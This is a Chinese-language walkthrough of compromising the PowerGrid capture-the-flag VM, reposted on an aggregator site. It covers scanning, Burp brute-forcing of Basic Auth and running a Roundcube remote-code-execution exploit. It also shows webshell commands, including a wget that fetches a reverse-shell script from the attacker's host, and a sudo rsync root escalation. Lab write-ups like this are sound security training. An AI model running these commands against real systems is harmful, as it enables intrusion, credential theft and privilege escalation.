实战打靶集锦-029-PowerGrid

news2024/11/26 12:38:30

文章目录

  • 1. 主机发现
  • 2. 端口枚举
  • 3. 服务枚举
  • 4. 服务探查
    • 4.1 探查80端口
    • 4.2 探查Dovecot imap服务
      • 4.2.1 用户爆破
      • 4.2.2 登录roundcube邮箱
      • 4.2.3 roundcube 1.2.1远程代码执行漏洞利用
      • 4.2.4 突破边界
  • 5. 提权
    • 5.1 CVE-2019-13272漏洞利用
    • 5.2 登录p48用户
    • 5.3 内网扫描
    • 5.4 /usr/bin/rsync提权
    • 5.5 ssh到powergrid主机
  • 6. 获取flag

靶机地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova


1. 主机发现

目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标地址为161。

2. 端口枚举

通过下面的命令,枚举一下目标的端口。

$ sudo nmap -p 1-100 192.168.232.161
$ sudo nmap -p 101-1000 192.168.232.161
$ sudo nmap -p 1001-65535 192.168.232.161

在这里插入图片描述
开了三个端口。

3. 服务枚举

通过下面的命令,枚举一下端口上运行的服务。

$ sudo nmap -A -p80,143,993 -sV -sT 192.168.232.161

在这里插入图片描述

4. 服务探查

逐个服务探查一下看看吧。

4.1 探查80端口

直接通过浏览器先手工访问一下看看。
在这里插入图片描述
一幅图片,嵌入一个倒计时的时钟(后来发现这个是倒计时,3小时后靶机自动关机),其它也没看出啥,直接枚举一下目录。

$ dirsearch -u http://192.168.232.161/

在这里插入图片描述
还是发现了一些让人感兴趣的内容,再用gobuster枚举一下试试看。

$ gobuster dir -u http://192.168.232.161 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

在这里插入图片描述
多扫描出来一个zmail目录,但是是401。手工看一下扫出来的内容。
在这里插入图片描述
Login页面是一段话,跟首页的内容一致,其它没有特殊内容发现,用bing翻译了一下,还听好玩儿的,如下图。
在这里插入图片描述
通过前面刚学的403bypasser试试看/server-status目录。

$ python3 ../403bypasser/403bypasser.py -u http://192.168.232.161 -d /server-status

在这里插入图片描述
修改一下请求头试试看。
在这里插入图片描述
看来403bypasser工具不是很准确,不管怎么修改,仍然返回403,还是看一下zmail目录下面吧。
在这里插入图片描述
需要用户名密码,随便输入看一下。
在这里插入图片描述
用户名密码经过base64编码以后,临时先跳过,后面有需要的时候再回来爆破。

4.2 探查Dovecot imap服务

先搜索一下这个Dovecot imapd是个什么东西,这应该是一个名为Dovecot的安全imap服务,并且143端口和993端口是有些区别的,143是未加密端口,993是安全端口,如下图。
在这里插入图片描述
先获取一下banner信息试试看。

$ nc -nv 192.168.232.161 143

在这里插入图片描述

$ openssl s_client -connect 192.168.232.161:993 -quiet

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从网上搜索了一下,用了各种可能的办法,都没进展,再回去从页面开始扒拉一遍,不行就放弃了。
在这里插入图片描述
真是不看不知道,发现前面漏掉了一个巨大的线索,deez1、p48、all2应该是三个成员,均来自于Cymru1 Hacking Team,如上图所示。再结合之前咱们发现的/zmail页面的登录窗口,极有可能就是这三个用户中的一个,分别爆破一下看看。这里用了之前我比较生疏的手法,所以描述的稍微细了一点,熟悉的掠过。

4.2.1 用户爆破

首先构造一个名为users.txt用户名文件,里面列出上述的三个用户名。
在这里插入图片描述
然后再intruder的payloads设置中,type选择Custom Iterator;在payload setting中的Position选择序号1,通过load按钮加载上面准备好的users.txt文件,如下图所示。
在这里插入图片描述
然后继续在上面的Payload settings界面,Position选择序号2,然后点击中间的clear按钮清除所有内容,然后在下面的Add按钮后面的编辑框中输入英文的冒号,点击Add提交。
在这里插入图片描述
继续在上述的界面中,Position选择序号3,然后clear一下,通过load加载rockyou.txt,如下图(我这里碰到了坑,加载rockyou一直失败,因此切成了两个文件,分别爆破)。

$ wc -l rockyou.txt
$ head -7172196 rockyou.txt > rockyou_01.txt
$ tail -7172196 rockyou.txt > rockyou_02.txt
$ wc -l rockyou_01.txt
$ wc -l rockyou_02.txt

在这里插入图片描述
在这里插入图片描述
然后在下面的Payload processing对话框中,点击add按钮,选在Encode,然后选择Base64-encode,点击OK按钮添加到Payload processing中,如下图。
在这里插入图片描述
然后在地下的Payload encoding中,取消勾选URL-encode的复选框,如下图。
在这里插入图片描述
然后就可以Start Attack了。
在这里插入图片描述
从burp的运行结果来看,有一个请求的返回码跟其它的不一样,不是401,而是301,解码一下base64的字符串看看是啥。

在这里插入图片描述

4.2.2 登录roundcube邮箱

看来p48用户可以登录,密码是electrico,手工登录一下试试看。
在这里插入图片描述
登录以后,出现了另一个登录界面,如上图,先用同样的账号密码登录试试看。
在这里插入图片描述
同样的用户名密码可以登录成功,还有一封邮件,打开看看。
在这里插入图片描述
邮件内容是一段话,加上一个当前用户的PGP密钥加密的内容,按照邮件内容来看,这个加密的内容是ssh到服务的密钥。所以,现在关键点变成了寻找当前用户的PGP密钥。经过在当前web邮箱中一番搜索,找到了web邮箱的版本信息,如下图。
在这里插入图片描述

4.2.3 roundcube 1.2.1远程代码执行漏洞利用

搜索了一下,据说这个版本有个远程代码执行漏洞,searchsploit可以搜到,如下图。
在这里插入图片描述
但是我在尝试发送邮件的时候一直没有成功,并且现在也不知道目标靶机站点的根目录。直接上网看看能不能找到现成的漏洞利用工具吧。结果在Git上找到了对应的EXP(https://github.com/t0kx/exploit-CVE-2016-9920),直接脚本执行的方式,比之前通过burp方便多了,弄下来试试看。

$ git clone https://github.com/t0kx/exploit-CVE-2016-9920.git
$ cd exploit-CVE-2016-9920
$ ./exploit.py --host 192.168.232.162 --user p48 --pwd electrico --path roundcube --www_path "/var/www/html/roundcube"

在这里插入图片描述
尝试了各种目录,都是错误的,回过头来看看exp脚本,修改一下收件人和发件人的地址试试看,如下图。
在这里插入图片描述
还是报同样的错误,本次打靶以失败告终。参照了一下大神们的打靶过程(https://blog.csdn.net/qq_43884092/article/details/128975323),还是我执行脚本的时候有问题(其实也不怪我,readme写的不太明确),改成如下的命令,执行成功,需要在主机地址前面添加上”username:passwd@”,在本例子中应该是“p48:electrico@”。

$ ./exploit.py --host p48:electrico@192.168.232.162 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

在这里插入图片描述
然后访问一下地址http://192.168.232.162/zmail/backdoor.php看看,如下图。
在这里插入图片描述
修改命令为反弹shell,如下图。
在这里插入图片描述
修改一下远程文件的名称为backdoor001.php,试一下。
在这里插入图片描述
本地建立监听,然后访问一下backdoor001.php,试一下
在这里插入图片描述
没有建立反弹shell,不过偶然间发现了更加牛逼的内容。 第一次成功执行EXP之后,打开的/zmail/backdoor.php页面本身就是个webshell,想执行啥,直接在后面坠上命令即可。

http://192.168.232.162/zmail/backdoor.php?cmd=cat%20/etc/passwd

在这里插入图片描述
这就好办了,直接看看能不能wget本地带有反弹shell的php脚本。

http://192.168.232.162/zmail/backdoor.php?cmd=wget%20http://192.168.232.129:8000/revers.php

在这里插入图片描述
从执行结果来看,应该是下载了,还下载了很多次。

4.2.4 突破边界

直接建立监听,然后访问一下下载到根目录的反弹shell试试看。
在这里插入图片描述
反弹shell建立成功。

5. 提权

先优化一下shell。

$ /usr/bin/python3.7 -c "import pty;pty.spawn('/bin/bash')"

直接用linpeas.sh跑一下试试。

www-data@powergrid:/tmp$ chmod u+x linpeas.sh
www-data@powergrid:/tmp$ sh linpeas.sh

在这里插入图片描述
感觉除了上述CVE漏洞,其它没有找到太合适的。

5.1 CVE-2019-13272漏洞利用

看一下操作系统信息,然后尝试用这个漏洞提权。
在这里插入图片描述
64位的debian 10,内核版本位4.19.118,在debian 10环境下编译EXP。

$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root

上传编译后的文件到目标靶机执行。

www-data@powergrid:/tmp$ chmod u+x ptrace_traceme_root
www-data@powergrid:/tmp$ ./ptrace_traceme_root

在这里插入图片描述
额,看来linpeas的highly probable也是不可信的啊,这条路行不通,继续找其它的。
在linpeas输出中还看到了p48用户,看看是否可以切换到这个用户。

5.2 登录p48用户

在这里插入图片描述
哈,成功进入p48用户,密码就是之前爆破出来的electrico。在当前用户下再执行一下linpeas脚本。
在这里插入图片描述
貌似再p48目录下有个gpg的密钥,这跟我们之前发现的邮件内容有点吻合,密文是用gpg的密钥加密的ssh密钥。在线解密一下(我用的这个网站:https://pgptool.org/),如下图。
在这里插入图片描述
把解密后的内容拷贝出来,保存。不过现在还不知道这个openssh key怎么使用,总不可能是直接root用这个密钥登录,因为靶机没有开放22端口,还是再回头看一下邮件的内容。
原文邮件内容提到有一个备份服务器,但是需要扫描本地IP然后使用这个密钥登录。
在这里插入图片描述

5.3 内网扫描

先看一下靶机本地的IP地址看看,因为我么不需要nmap之类的进行局域网扫描,就这一个靶机。
在这里插入图片描述
貌似起了docker,还真是有个地址。把刚才的openssh密钥保存到p48用户的.ssh/id_rsa文件中,尝试用p48登录一下试试。

p48@powergrid:~/.ssh$ mv openssh_key.txt id_rsa
p48@powergrid:~/.ssh$ ssh p48@172.17.0.1 -i id_rsa

在这里插入图片描述
感觉还是在原来的机器上,不过这个输出对我们有些启发,p48@172.17.0.1,那是不是有可能存在172.17.0.2?想办法扫描一下这个网段看看。靶机上没有fping命令,那就只能用ping命令逐个试试了。
在这里插入图片描述
看来这里面涉及两个IP地址,172.17.0.1和172.17.0.2,其中第一个是当前进入的目标靶机。用p48用户和刚才的openssh key登录172.17.0.2试试看。

p48@powergrid:~/.ssh$ chmod 600 id_rsa
p48@powergrid:~/.ssh$ ssh p48@172.17.0.2 -i id_rsa

在这里插入图片描述
还真是能够登录到另一个地址里面。不过进入到这第二个机器,跟提权貌似关系不大啊,既然已经进来了,就在这个机器上运行一下linpeas看看。

p48@ef117d7a978f:~$ scp p48@172.17.0.1:/home/p48/linpeas.sh ./linpeas.sh
p48@ef117d7a978f:~$ chmod u+x linpeas.sh
p48@ef117d7a978f:~$ sh linpeas.sh

在这里插入图片描述

5.4 /usr/bin/rsync提权

有个/usr/bin/rsync可以直接不需要密码通过sudo执行,不过目前还不知道这个怎么用,看看GTFOBins网站(https://gtfobins.github.io/)上有没有。
在这里插入图片描述
还真有(底下的),但是还是不太明白,127.0.0.1那还是172.0.0.2本地折腾啊,跟原来的那个172.17.0.0.1没关系啊。先不管了,试试看。

p48@ef117d7a978f:~$ sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

在这里插入图片描述
确实貌似变成root了,不过我坚信在172.17.0.2的机器上,试试看。
在这里插入图片描述
确实还在172.17.0.2的机器上面,既然进来了,看看这个机器上有没有其它可用的内容吧。

5.5 ssh到powergrid主机

在这里插入图片描述
发现/root/.ssh目录下有一对密钥,看样子基本是铁定的ssh用的密钥,但是不知道是哪个机器的,目前来看就俩机器,应该是172.17.0.1的,试试看吧。
在这里插入图片描述
试了两次,得到了结果,直接用root用户ssh到172.17.0.1上面,就获取了最高权限。这个机器太折腾了,是目前发现的最变态的靶机。

6. 获取flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1558825.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于java+springboot+vue实现的房屋租赁系统(文末源码+Lw+ppt)23-397

摘要 随着社会的不断进步与发展&#xff0c;人们经济水平也不断的提高&#xff0c;于是对各行各业需求也越来越高。特别是从2019年新型冠状病毒爆发以来&#xff0c;利用计算机网络来处理各行业事务这一概念更深入人心&#xff0c;由于工作繁忙以及疫情的原因&#xff0c;用户…

游戏引擎中的大气和云的渲染

一、大气 首先和光线追踪类似&#xff0c;大气渲染也有类似的渲染公式&#xff0c;在实际处理中也有类似 Blinn-Phong的拟合模型。关键参数是当前点到天顶的角度和到太阳的角度 二、大气散射理论 光和介质的接触&#xff1a; Absorption 吸收Out-scattering 散射Emission …

JUC:ReentrantLock(可打断、锁超时、多条件变量)

文章目录 ReentrantLock特点基本语法可重入可打断&#xff08;避免死等、被动&#xff09;锁超时&#xff08;避免死等、主动&#xff09;公平锁多个条件变量 ReentrantLock 翻译&#xff1a;可重入锁 特点 可中断可设置超时时间&#xff08;不会一直等待锁&#xff09;可设…

关系型数据库mysql(9)主从复制和读写分离

目录 1. 主从复制和读写分离 2. mysql 支持的复制类型 3.架构图 一.主从复制 1.主从复制的定义 2.主从复制的过程 中继日志&#xff08;Relay Log&#xff09;&#xff1a; 优点&#xff1a; 3.为什么要复制 4.谁复制谁 5.数据放在什么地方 6.主从复制出现的问题 …

面向对象:多态

文章目录 一、什么是多态二、构成多态的条件2.1什么是虚函数2.1如何构成虚函数的重写&#xff08;原理层面上叫&#xff1a;覆盖&#xff09;2.2父类指针的调用 三、多态调用父类指针出现的情况四、构成多态的一种特殊情况&#xff08;协变&#xff09;五、析构函数构成的多态六…

C++AVL树拓展之红黑树原理及源码模拟

前言&#xff1a;我们之前已经从零开始掌握AVL树http://t.csdnimg.cn/LaVCChttp://t.csdnimg.cn/LaVCC 现在我们将继续学习红黑树的原理并且实现插入等功能&#xff0c;学习本章的前提要求是掌握排序二叉树和AVL树&#xff0c;本章不再提及一些基础知识&#xff0c;防止本文结…

Flutter 全局控制底部导航栏和自定义导航栏的方法

1. 介绍 导航栏在移动应用中扮演着至关重要的角色&#xff0c;它是用户与应用之间进行导航和交互的核心组件之一。无论是简单的页面切换&#xff0c;还是复杂的应用导航&#xff0c;导航栏都能够帮助用户快速找到所需内容&#xff0c;提升用户体验和应用的易用性。 在移动应用…

Electron 读取本地配置 增加缩放功能(ctrl+scroll)

最近&#xff0c;一个之前做的electron桌面应用&#xff0c;需要增加两个功能&#xff1b;第一是读取本地的配置文件&#xff0c;然后记载配置文件中的ip地址&#xff1b;第二就是增加缩放功能&#xff1b; 第一&#xff0c;配置本地文件 首先需要在vue工程根目录中&#xff0…

华为OD机试 - 芯片资源限制(Java 2024 C卷 100分)

华为OD机试 2024C卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷C卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测试…

uniapp微信小程序消息订阅详解

一、微信公众平台申请订阅模板 注意&#xff1a;订阅信息 这个事件 是 当用户 点击的时候触发 或者 是 支付成功后触发&#xff0c; 用户勾选 “总是保持以上选择&#xff0c;不再询问” 之后或长期订阅&#xff0c;下次订阅调用 wx.requestSubscribeMessage 不会弹窗&#xf…

爬虫的验证码处理

1.我们先进入chrome浏览器的审查页面找到input方法&#xff1a; 为了不少找到一个input&#xff0c;我们ctrlf的方法输入input来查找 看见我们有6个需要输入的参数。 除了上面几个的input参数&#xff0c;我们还需要获取验证码的图片&#xff0c;后续要将字母填入进去。 二.安…

【蓝桥杯】矩阵快速幂

一.快速幂概述 1.引例 1&#xff09;题目描述&#xff1a; 求A^B的最后三位数表示的整数&#xff0c;A^B表示&#xff1a;A的B次方。 2&#xff09;思路&#xff1a; 一般的思路是&#xff1a;求出A的B次幂&#xff0c;再取结果的最后三位数。但是由于计算机能够表示的数字…

Vue ElementPlus Form、Form-item 表单

Form 表单 由输入框、选择器、单选框、多选框等控件组成&#xff0c;用以收集、校验、提交数据&#xff0c;组件升级采用了 flex 布局&#xff0c;以替代旧版本的 float 布局。 典型表单 包括各种表单项&#xff0c;比如输入框、选择器、开关、单选框、多选框等。 在 Form 组件…

数据结构之单链表实现(JAVA语言+C语言)

一、理论 1 单链表结构 2 增、删、查 、改思路 &#xff08;增&#xff09;直接添加放到最后即可。按顺序添加&#xff1a;找到要修改的节点的前一个节点&#xff0c;插入新节点&#xff08;&#xff09;。&#xff08;改&#xff09;要修改的节点修改内容即可。&#xff08;…

03-MySQl数据库的-用户管理

一、创建新用户 mysql> create user xjzw10.0.0.% identified by 1; Query OK, 0 rows affected (0.01 sec) 二、查看当前数据库正在登录的用户 mysql> select user(); ---------------- | user() | ---------------- | rootlocalhost | ---------------- 1 row …

Docker:使用MinIO搭建对象存储平台

请关注微信公众号&#xff1a;拾荒的小海螺 1、简述 MinIO是一个基于对象存储技术的开源项目&#xff0c;它可以帮助用户快速搭建起私有的、高性能的对象存储平台。MinIO兼容Amazon S3 API&#xff0c;使得用户可以使用标准的S3工具和SDK来访问和管理MinIO存储的数据。此外&a…

查找--二分查找(Binary Search)

二分查找属于静态查找表&#xff0c;当以有序表表示静态查找表时&#xff0c;查找函数可用折半查找来实现。 查找过程&#xff1a;先确定待查记录所在的范围&#xff08;区间&#xff09;&#xff0c;然后逐步缩小范围直到找到或找不到该记录为止。 以处于区间中间位置记录的…

B样条曲线(记录)

B样条曲线的生成靠的两点&#xff1a; 1、控制点 2、基函数 B样条曲线的基函数是一个De Boor的递归表达式[1]&#xff1a; (1) (2) 其中是第个阶基函数。 而B样条曲线可以表示为[2]&#xff1a; (3) 如何理解上式&#xff1f;首先&#xff0c;我们知道&#xff0c;如果一个函数…

高端的电子画册,手机打开你见过吗?

手机阅读的高端电子画册&#xff0c;你见过吗&#xff1f;随着移动互联网的发展&#xff0c;越来越多的人选择在手机上阅读电子画册&#xff0c;而不是传统的纸质画册。这种趋势不仅节省了纸张资源&#xff0c;还提升了阅读体验。用户可以通过触摸屏幕、放大缩小、翻页等操作与…

【Blockchain】区块链浏览器 | 以太坊Etherscan比特币Blockchain门罗币Monero

区块链浏览器概述 区块链浏览器是一种软件,它使用API(应用程序编程接口)和区块链节点从区块链中提取各种数据&#xff0c;然后使用数据库来排列搜索到的数据&#xff0c;并以可搜索的格式将数据呈现给用户。 用户的输入是资源管理器上的可搜索项&#xff0c;然后通过数据库上…